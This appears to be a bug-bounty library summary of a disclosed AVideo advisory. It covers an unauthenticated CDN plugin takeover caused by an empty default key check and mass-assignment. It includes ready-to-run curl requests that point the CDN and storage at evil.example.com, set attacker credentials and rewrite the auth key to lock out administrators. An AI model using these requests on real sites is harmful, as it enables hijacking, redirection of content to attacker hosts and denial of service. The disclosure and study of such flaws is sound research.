# AVideo: Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment

AVideo CDN plugin endpoints skip key validation when the default key is empty, letting unauthenticated attackers mass-assign CDN URLs, storage credentials and the auth key.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-25
- CVE: CVE-2026-33719
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-r64r-883r-wcwh
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-r64r-883r-wcwh
- Tags: area:web domain:web impact:data-leak impact:dos impact:integrity kind:research platform:ghsa sev:high tech:php technique:source-review vuln:access-control vuln:auth-bypass

**Target:** PHP JSON endpoints plugin/CDN/status.json.php and disable.json.php
**Root cause:** Key check is wrapped in `if (!empty($obj->key))`, so the default empty key skips validation entirely; the `par` request array is then mass-assigned onto the plugin data object and persisted.
**Steps:**
1. Confirm CDN plugin enabled with default empty key: `curl -s 'https://target/plugin/CDN/status.json.php' -d 'key=anything' -d 'par[CDN]=https://evil.example.com/'`; `"error":false` indicates bypass.
2. Full takeover: `curl -s 'https://target/plugin/CDN/status.json.php' -d 'key=initial-bypass' -d 'par[CDN]=https://evil.example.com/' -d 'par[enable_storage]=1' -d 'par[storage_hostname]=evil.example.com' -d 'par[storage_username]=attacker' -d 'par[storage_password]=controlled' -d 'par[key]=attacker-secret-key'`.
3. Disable CDN: `curl -s 'https://target/plugin/CDN/disable.json.php' -d 'key=attacker-secret-key' -d 'par[x]=1'`.
**How found:** Code review of the CDN plugin's key validation logic, noticing the `!empty($obj->key)` guard skips comparison when the default empty key is in place, and that `par` is mass-assigned without a whitelist.
**Exploitation:** Single unauthenticated POST to status.json.php with any non-empty key and a `par` array overwrites CDN URL, enables storage pointing at attacker host, sets storage credentials, and rewrites the auth key to lock out admins; disable.json.php deactivates the plugin.
**Escalation:** Setting `par[key]` persists attacker-chosen key, locking legitimate admins out of the endpoint after takeover.
**Insight:** When a plugin ships with a default empty secret, look for guards like `!empty($storedKey)` that silently disable auth in the default state; also check whether the same request array is mass-assigned onto the persisted config object, letting you rewrite the secret itself.

## Proof of concept (copied exactly from the original report)

**Full takeover curl request with mass-assignment**

```
curl -s 'https://target/plugin/CDN/status.json.php' \
  -d 'key=initial-bypass' \
  -d 'par[CDN]=https://evil.example.com/' \
  -d 'par[enable_storage]=1' \
  -d 'par[storage_hostname]=evil.example.com' \
  -d 'par[storage_username]=attacker' \
  -d 'par[storage_password]=controlled' \
  -d 'par[key]=attacker-secret-key'
```

**Verify bypass curl request**

```
curl -s 'https://target/plugin/CDN/status.json.php' \
  -d 'key=anything' \
  -d 'par[CDN]=https://evil.example.com/'
```

**Disable CDN denial-of-service request**

```
curl -s 'https://target/plugin/CDN/disable.json.php' \
  -d 'key=attacker-secret-key' \
  -d 'par[x]=1'
```

